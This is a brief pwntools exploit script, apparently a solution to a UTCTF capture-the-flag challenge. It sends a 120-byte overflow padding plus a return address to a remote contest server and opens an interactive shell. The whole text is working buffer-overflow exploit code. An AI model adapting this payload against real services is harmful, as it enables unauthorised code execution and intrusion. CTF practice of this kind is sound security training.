from pwn import * payload = b'A' * 120 + p64(0x4011ab) shell = remote('pwn.utctf.live',5001) shell.send(payload) shell.interactive()